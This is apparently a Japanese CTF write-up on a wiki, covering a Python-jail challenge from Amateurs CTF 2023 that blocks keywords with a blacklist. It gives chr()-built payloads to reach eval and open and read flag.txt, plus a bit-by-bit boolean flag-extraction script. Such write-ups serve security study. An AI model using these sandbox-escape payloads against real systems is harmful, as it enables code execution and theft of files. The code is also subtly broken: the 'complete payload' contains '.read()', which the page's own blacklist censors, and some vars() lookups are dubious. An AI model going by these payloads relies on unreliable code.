pyjail wiki

Amateurs CTF 2023 - Censorship Series

Challenge

Censorship

特定の文字が禁止された pyjail。

BLACKLIST = ['import', 'os', 'sys', 'eval', 'exec', 'flag', 'open', 'read']
code = input()
for word in BLACKLIST:
if word in code.lower():
print("Censored!")
exit()
print(eval(code))

Censorship Lite / Lite++

より厳しい制限を持つバリエーション。

Solution

vars() による builtins アクセス

vars() は引数なしで呼ぶと locals() と同等:

vars() # ローカル変数の辞書
vars(__builtins__) # builtins の __dict__

Boolean brute force

出力が True/False のみの場合、1ビットずつ情報を抽出:

# フラグの n 番目の文字の m ビット目を取得
ord(FLAG[n]) >> m & 1

文字列構築

# chr() で禁止文字列を構築
vars()[chr(101)+chr(118)+chr(97)+chr(108)] # eval

完全なペイロード

# open('flag.txt').read() を構築
vars()[chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()

Technical Details

vars() の動作

vars() # locals()
vars(module) # module.__dict__
vars(class) # class.__dict__
vars(__builtins__) # builtins の辞書

ブール推論攻撃

# サーバーへの問い合わせ
for char_idx in range(len(FLAG)):
char_value = 0
for bit_idx in range(7):
query = f"ord(FLAG[{char_idx}]) >> {bit_idx} & 1"
result = send_query(query) # True/False が返る
if result:
char_value |= (1 << bit_idx)
print(chr(char_value), end='')

Alternative Solutions

別解1: getattr との組み合わせ

getattr(vars()['__builtins__'], chr(101)+chr(118)+chr(97)+chr(108))

別解2: dict のキーアクセス

vars()['__builtins__'].__dict__[chr(111)+chr(112)+chr(101)+chr(110)]

Flag

amateursCTF{...}

References

  • Amateurs CTF 2023 Official